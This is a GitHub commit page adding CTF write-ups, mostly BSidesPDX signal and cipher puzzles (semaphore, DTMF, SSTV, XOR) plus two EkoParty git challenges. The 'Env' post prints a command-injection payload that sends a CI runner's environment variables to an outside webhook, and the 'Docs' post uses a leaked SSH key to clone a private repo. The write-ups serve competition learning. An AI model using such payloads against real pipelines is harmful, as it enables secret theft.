Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 5d3b2d2

Browse files
end of 2020
1 parent 5399878 commit 5d3b2d2

File tree

55 files changed

+908
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

55 files changed

+908
-0
lines changed
Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
---
2+
title: "BSidesPDX - Down the Rabbit Hole"
3+
author: "Lyell Read"
4+
date: 2020-10-25T00:00:00-07:00
5+
categories: ['Writeups']
6+
tags: ['bsidespdx2020']
7+
caption: "BSidesPDX logo"
8+
9+
draft: false
10+
---
11+
12+
## Prompt
13+
14+
Category: Over The Air
15+
16+
297 Points
17+
18+
5 Solves
19+
20+
> During one of the commercial breaks of my favorite state sponsored educational video, there was some interference once again. There was a woman wearing some sort of face mask and there were strange tones. The tones were familiar and rang a bell, but I couldn’t quite put my finger on them. I don’t know what these things mean, but maybe you can figure it out.
21+
>
22+
> [twitch.tv/over_the_air](twitch.tv/over_the_air)
23+
>
24+
> Author(s): 0xdade & fdcarl
25+
26+
## Solution
27+
28+
This challenge is where we really… umm… go down the rabbit hole, you could say ;). I started by playing the whole video and noting all the oddities that I could find, and started working them out one by one:
29+
30+
- [\[00:00\]](https://youtu.be/_QgPMyRBBKM) : Many QR codes on the standby screen (challenge 1, “please stand by”)
31+
- [\[02:55\]](https://youtu.be/_QgPMyRBBKM?t=175) : Creepy appearance behind the betty crocker advertisement.
32+
- [\[04:51\]](https://youtu.be/_QgPMyRBBKM?t=291) : Sneezing guy repeated a couple times in quick succession.
33+
- [\[05:53\]](https://youtu.be/_QgPMyRBBKM?t=353) : In the duck & cover / burt the turtle clip, there’s a flag person in the bottom left that is sending text in the maritime flag signaling pattern.
34+
- [\[08:24\]](https://youtu.be/_QgPMyRBBKM?t=504): In the atomic bomb / duck & cover intro, when in Betty’s school, a creepy plague doctor mask guy with numbers and letters, and a tune (challenge 2, “xclusive numborz”)
35+
- [\[14:06\]](https://youtu.be/_QgPMyRBBKM?t=846) : When Tony is going to cubscouts / picnic – creepy guy overlay w anonymous-like mask on.
36+
- [\[15:46\]](https://youtu.be/_QgPMyRBBKM?t=946) : In the announcement about the Secret Squadron, `0x13A5C` is displayed, and a number is heard dialing in the background.
37+
- [\[17:21\]](https://youtu.be/_QgPMyRBBKM?t=1041) : Giant Behemoth: A message appears on the top of the screen.
38+
39+
So, we eliminated or decoded one thing at a time, omitting the parts from previous challenges:
40+
41+
- [\[05:53\]](https://youtu.be/_QgPMyRBBKM?t=353) : In the duck & cover / burt the turtle clip, there’s a flag person in the bottom left that is sending text in the maritime flag signaling pattern.
42+
43+
The maritime / semaphore flag alphabet is documented, and I decoded the flag message to be two repetitions of:
44+
45+
- J and ‘alphabetic’ (LH out ; RH up)
46+
- B and 2 (LH down; RH out)
47+
- S (LH low; RH out)
48+
- I and 9 (LH across low; RH up)
49+
- D and 4 (LH down; RH up – or LH up; RH down)
50+
- E and 5 (LH high; RH down)
51+
- S (LH low; RH out)
52+
- T (LH up; RH high)
53+
- R (LH out; RH out)
54+
- O (LH across high; RH out)
55+
- L (LH high; RH low)
56+
- O (LH across high; RH out)
57+
- L (LH high; RH low)
58+
- O (LH across high; RH out)
59+
- L (LH high; RH low)
60+
- O (LH across high; RH out)
61+
62+
To get result `BSIDESTROLOLOLOL`. Bummer, but at least we can cross off this lead for now.
63+
64+
- [\[17:21\]](https://youtu.be/_QgPMyRBBKM?t=1041) : Giant Behemoth: A message appears on the top of the screen.
65+
66+
The message on the top of the screen was decoded, as it was quickly identified to be the [pigpen cipher](https://en.wikipedia.org/wiki/Pigpen_cipher).
67+
68+
![Screenshot of rune-like text, the pigpen cipher](/static/blog/bsidespdx-down-the-rabbit-hole-pigpen.png)
69+
70+
`not a flag either`
71+
72+
- [\[15:46\]](https://youtu.be/_QgPMyRBBKM?t=946) : In the announcement about the Secret Squadron, `0x13A5C` is displayed, and a number is heard dialing in the background.
73+
74+
Now things get more interesting. We have the tones associated with dialing a phone number, and a message on screen. The message reads `0x13A5C`, which is `80476` in decimal.
75+
76+
Decoding the phone dial presses is a matter of interpreting the [DTMF](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling) tones. This requires first trimming the whole audio clip from the recording into [a clip of just the phone dial tones](https://github.com/lyellread/ctf-writeups/blob/master/2020-bsidesctf/down-the-rabbit-hole/dtmf.wav). This `.wav` file can then be put into [a dtmf decoder](https://github.com/ribt/dtmf-decoder), and it returns a phone number: `5038326682`.
77+
78+
For this next part, I’ll rely on what my teammates described, as I cannot call that number. However, when called, the caller is asked for a number. When provided with `80476`, the voice on the other end sounds out the following string of morse code:
79+
80+
```
81+
-- ... --. -. ..- -- ....- .---- -.... ---.. ...--
82+
```
83+
84+
When decoded, this turns into the string `MSGNUM41683`, which we initially did not know what to do with. `41683` is another 5-digit number, however, so let’s just try calling 5038326682 back, and giving it our new number, shall we?
85+
86+
More progress! The number speaks back `overtheair.space`. This link redirects us to [an unlisted YouTube video](https://www.youtube.com/watch?v=YcArof3MXx8) that contains more content similar to the twitch stream. In the middle of it, however, is a break, where loud beeping is heard that was instantly recognized to be [SSTV](https://en.wikipedia.org/wiki/Slow-scan_television). Now we need to decode that, and first that means downloading it…
87+
88+
> Given the tragic closure of the `youtube-dl` repository caused by RIAA, we almost resorted to [downloading the source code off twitter, and reconstituting the youtube-dl source code from that](https://archive.vn/VdmaG), however someone still had youtube-dl installed, and we successfully (allegedly, maybe) downloaded that video (see there is a good use for `youtube-dl`, RIAA).
89+
90+
With that in hand, we extracted and trimmed the audio to [just the SSTV parts](https://github.com/lyellread/ctf-writeups/blob/master/2020-bsidesctf/down-the-rabbit-hole/captured_signals_sstv.wav), and then came the fun part.
91+
92+
Following [an extremely thorough guide about how to decode this very kind of file](https://ourcodeworld.com/articles/read/956/how-to-convert-decode-a-slow-scan-television-transmissions-sstv-audio-file-to-images-using-qsstv-in-ubuntu-18-04), from Carlos Delgado, we successfully set up `qsstv`, a virtual audio cable (loopback so that audio can be played from computer into `qsstv`), and we were off to the races:
93+
94+
I was a bit slow to start it the first time, so I got the second half first:
95+
96+
![Screenshot of grainy black and white video featuring a can of ovaltine and half of the CTF flag overtop](/static/blog/bsidespdx-down-the-rabbit-hole-ovaltine1.png)
97+
98+
… and the second part on the second run:
99+
100+
![Screenshot of grainy black and white video featuring a can of ovaltine and half of the CTF flag overtop](/static/blog/bsidespdx-down-the-rabbit-hole-ovaltine2.png)
101+
102+
```
103+
BSidesPDX{b3_sUR3_T0_dr!nk_y0Ur_Ov4ltin3}
104+
```
105+
106+
~Lyell
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
---
2+
title: "BSidesPDX - Please Stand By"
3+
author: "Lyell Read"
4+
date: 2020-10-25T00:00:00-07:00
5+
categories: ['Writeups']
6+
tags: ['bsidespdx2020']
7+
caption: "BSidesPDX logo"
8+
9+
draft: false
10+
---
11+
12+
## Prompt
13+
14+
Category: Over The Air
15+
16+
263 Points
17+
18+
14 Solves
19+
20+
> Sometimes I like to tune into the TV when no shows are on so I can watch the test pattern. I like to believe that there’s a secret message hidden in the transmission.
21+
>
22+
> [twitch.tv/over_the_air](https://twitch.tv/over_the_air)
23+
>
24+
> Author(s): 0xdade & fdcarl
25+
26+
## Solution
27+
28+
This challenge is about the “Please Stand By” screen, presumably. Let’s start by looking there. This screen is displayed during the first 2:09 of [the twitch stream(recording)](https://youtu.be/_QgPMyRBBKM)
29+
30+
Interesting, after about 1:20 of the usual standby screen, the screen displays an interference effect, then we see some QR code looking things appear in the top corners.
31+
32+
These QR codes, however, are obviously incomplete, as evidenced by the fractional ‘pixels’ displayed where they meet the edges of the screen. This indicates that we’re probably in for stitching these together…
33+
34+
Following that, we screenshotted each image. Here they are:
35+
36+
![A fragment of a QR code](/static/blog/bsidespdx-please-stand-by-1.png)
37+
38+
![A fragment of a QR code](/static/blog/bsidespdx-please-stand-by-2.png)
39+
40+
![A fragment of a QR code](/static/blog/bsidespdx-please-stand-by-3.png)
41+
42+
![A fragment of a QR code](/static/blog/bsidespdx-please-stand-by-4.png)
43+
44+
If we think about the regular format for QR codes, we would expect the “Position Patterns” (the square shaped sets of pixels) to be in the corners, so that informs us about the first orientation we should try.
45+
46+
In [Gimp](https://www.gimp.org/), we can stitch these together, and we get the following:
47+
48+
![](/static/blog/bsidespdx-please-stand-by-qr.png)
49+
50+
When scanned, that QR code becomes the text:
51+
52+
```
53+
B̴̡̋S̴̫͂i̷͎͘d̸̅́e̷͌̕s̴̓̈P̶͊̅D̸̑̽Ẍ̶́̑{̷̽́5̴̆͘t̴̒͘A̷͑͆n̸̏̈́d̴̶͗͂̄̑b̶͛͜Y̷̵̖̤̓̇f̵̽͛0̷̾̓r̸̵̛͎͝͝Ã̵̚n̸̶̮̏͑͒!̶́̔m̸̍̋p̵̊̇0̴̆͠r̵͂́ẗ̴̔a̶̒̽n̴̈́͒7̴̎̔_̸͆̾M̵̗̑ĕ̷̈́5̵̊͂5̴̊͂a̶͔͝G̷̉̕ë̸́͐}̷͉̚
54+
```
55+
56+
With a little reading, we can get the flag:
57+
58+
```
59+
BSidesPDX{5tAnd_bY_f0r_An_Imp0rtan7_Me55aGe}
60+
```
61+
62+
~Lyell
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
---
2+
title: "BSidesPDX - Xclusive Numborz"
3+
author: "Lyell Read"
4+
date: 2020-10-25T00:00:00-07:00
5+
categories: ['Writeups']
6+
tags: ['bsidespdx2020']
7+
caption: "BSidesPDX logo"
8+
9+
draft: false
10+
---
11+
12+
## Prompt
13+
14+
Category: Over The Air
15+
16+
290 Points
17+
18+
8 Solves
19+
20+
> I was watching my regularly scheduled state sponsored programming when I got some strange interference. It sounded like a little girl was talking to me but I couldn’t understand what she was saying. Can you figure it out? There’s no space for mistakes, and no room for questions.
21+
>
22+
> [twitch.tv/over_the_air](twitch.tv/over_the_air)
23+
>
24+
> Author(s): 0xdade & fdcarl
25+
26+
## Solution
27+
28+
The first challenge was easy, but this one is a little trickier. We are told to listen to the segment where a “little girl” talks, and the name implies that we will be doing some XOR.
29+
30+
Beginning at [8:24 in the recording of the stream](https://youtu.be/_QgPMyRBBKM?t=504), We hear a child’s voice say “you’re all gonna die down here”, we see a creepy plague doctor image moving around in the background, and a child’s voice speaking letters and numbers in the foreground, finishing with the phrase “are you my mommy” repeated twice. At first the letters and numbers that the child spoke sounded to me like:
31+
32+
```
33+
23210C1D0A063D3D3I1419054A3E1C10140D461F0A321C1DIE4D0A2DI1261G1DIE141EIC011G4A120F
34+
```
35+
36+
This string uses charset `['0', '1', '2', '3', '4', '5', '6', '9', 'A', 'C', 'D', 'E', 'F', 'G', 'I']`, which is a little odd.
37+
38+
However on closer inspection, and after consulting my teammates, the string was determined to be:
39+
40+
```
41+
23210C1D0A063D3D351419054A3E1C10140D461F0A321C1D5E4D0A2D51261B1D5E141E5C011B4A120F
42+
```
43+
44+
This is because I misheard ‘B’ as ‘G’, and ‘5’ as ‘I’, and I did not pick up on the fact that the charset I had was hex with two wrong characters.
45+
46+
From that string, we can guess that it might be a flag, which has format `BSidesPDX{}`, and infer what the XOR key should start with (we used the assumption that `a^b=c` and `a^c=b`.
47+
48+
```
49+
String : 23 21 0C 1D 0A 06 3D 3D 35 14 ...
50+
Key : ? ? ? ? ? ? ? ? ? ? ...
51+
Output : 42 53 69 64 65 73 50 44 58 7b
52+
(Ascii): B S i d e s P D X {
53+
54+
Key : 61 72 65 79 6f 75 6d 79 6d 6f
55+
(Ascii): a r e y o u m y m o
56+
```
57+
58+
That key looks an awful lot like “areyoumymommy”, which is the key for the XOR decryption (“areyoumymommyareyoumymomm”…).
59+
60+
```
61+
BSidesPDX{th3_numb3rs_sp34k_4_th3ms3lv3s}
62+
```
63+
64+
~Lyell

content/blog/ekopartyctf-docs.md

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
---
2+
title: "EkoPartyCTF - Docs"
3+
author: "Lyell Read"
4+
date: 2020-09-28T00:00:00-07:00
5+
categories: ['Writeups']
6+
tags: ['ekoparty2020']
7+
caption: "EkoPartyCTF logo"
8+
9+
draft: false
10+
---
11+
12+
EkoParty CTF 2020 Git 2
13+
14+
# Prompt
15+
16+
Exact prompt has been forgotten. Linked to [this GitHub repo](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/docs/ekolabs.tar.gz)
17+
18+
# Solution
19+
20+
As I mentioned in the writeup for [leak](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/leak), I was in a very `github`by mindset when I started this challenge. For that reason, I solved this challenge first.
21+
22+
A quick inspection of the repo shows that it features an accidentally committed SSH private key and matching public key. I copied the text of these out of the commit log, and into [chall](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/docs/chall) and [chall.pub](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/docs/chall.pub). Now I have ssh access, however what to?
23+
24+
The next part of this challenge involves the git actions for the repo, in `.github/workflows/`. In there we get an `issue-bouncer.yml` and corresponding `issue-bouncer.py`. Reading through these two, we notice something useful:
25+
26+
```
27+
DST_REPO: 'ekoparty2020/ekoparty-internal'
28+
```
29+
30+
The python script essentially moves an issue to that `DST_REPO`, so I figured why not try to clone it?
31+
32+
```
33+
eval `ssh-agent` && ssh-add chall && git clone [email protected]:ekoparty2020/ekoparty-internal.git
34+
```
35+
36+
> Note: I had to modify permissions on the private key `chall` to get this to work.
37+
38+
This clones [the internal repo](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/docs/ekoparty-internal.tar.gz), which conveniently features our flag in the root README.md
39+
40+
```
41+
EKO{1ca688c86b0548d8f26675d85dd77d73c573ebb6}
42+
```
43+
44+
~ Lyell Read

content/blog/ekopartyctf-env.md

Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
---
2+
title: "EkoPartyCTF - Env"
3+
author: "Lyell Read"
4+
date: 2020-09-28T00:00:00-07:00
5+
categories: ['Writeups']
6+
tags: ['ekoparty2020']
7+
caption: "EkoPartyCTF logo"
8+
9+
draft: false
10+
---
11+
12+
EkoParty CTF 2020 Git 3
13+
14+
## Prompt
15+
16+
Not too sure of the original prompt, however I did not need it.
17+
18+
## Solution
19+
20+
After [the second part of the git challenge saga](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/docs), we have gotten a new repository with some new github actions. We know, before analyzing these however, that:
21+
22+
- Issues filed to the `ekolabs` repo will be ‘moved’ to the `ekoparty-internal` repo.
23+
- We control content in the submitted issues, and this is copied to the new issues in `ekoparty-internal` repo.
24+
25+
That’s good information. Now let’s examine the actions for this repo – we are provided an `issue-notify.py` and an `issue-notify.yml`. At first glance at the python script, we see two interesting things:
26+
27+
- The script checks `if 'very important' in title:` before executing an `os.system()` call
28+
- The script runs our ‘user input’ (the body of the issue) in the call to `os.system()`.
29+
30+
What can we do with this? If we put “very important” in the title, and we include a specific body, we can execute arbitrary commands using the call to `os.system()`. How so?
31+
32+
```
33+
os.system('echo "%s" > /tmp/%s' % (body, notify_id))
34+
```
35+
36+
This line is vulnerable, as the `body` of our issue is placed in it’s entirety in the place of the first `%s`, so if we were to enter `"`, this would become:
37+
38+
```
39+
os.system('echo """ > /tmp/%s' % (body, notify_id))
40+
```
41+
42+
Which would echo an empty string to `/tmp/$notify_id`. This will not do, however, so we need something more complicated to do the trick. Maybe something like sending `body` of `"; sleep 10; echo "` will do better, as it will turn into:
43+
44+
```
45+
os.system('echo ""; sleep 10; echo "" > /tmp/%s' % (body, notify_id))
46+
```
47+
48+
> Note: I did not come up with this all in one shot, I had to prototype it. I did this with the [test.py](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/env/test.py) script.
49+
50+
This will execute the `sleep 10` just fine. We have code execution now, we just need to find out what to do with it. The challenge name indicates the flag is likely stored in the environment variables so we know where to look, but how to extract this info from the server?
51+
52+
To determine what tools are available for use, I looked to `issue-notify.yml`:
53+
54+
```
55+
runs-on: ubuntu-latest
56+
steps:
57+
58+
...
59+
60+
- name: Set up Python3
61+
if: ${{ success() }}
62+
uses: actions/setup-python@v1
63+
with:
64+
python-version: "3.7"
65+
```
66+
67+
We at least have a default installation of Python 3.7 to work with, that’s pretty good. To make use of that, we will need to have somewhere to send it, and that’s where a webhook tester, something that captures and displays (in this case) http requests sent to it. For this I used PipeDream. It provides you with a link to send requests to.
68+
69+
From there, it’s as easy as getting the environment variables `os.environ`, and sending them home to PipeDream with a little one-line bash / python script of sorts:
70+
71+
```
72+
" && python3 -c "import requests; message = {'message': str(os.environ)}; r = requests.post('https://e756afb172e9b06dad06e8cfeff52a32.m.pipedream.net',data = message);" && echo "
73+
```
74+
75+
That’s all there is to it: sending that returns [envs](https://github.com/lyellread/ctf-writeups/blob/master/2020-ekoparty/env/envs) to PipeDream, and it’s right in there.
76+
77+
```
78+
EKO{b08bb4814d581e6a91b3501f8c63c7786fe624e1}
79+
```
80+
81+
~ Lyell Read

0 commit comments

Comments
 (0)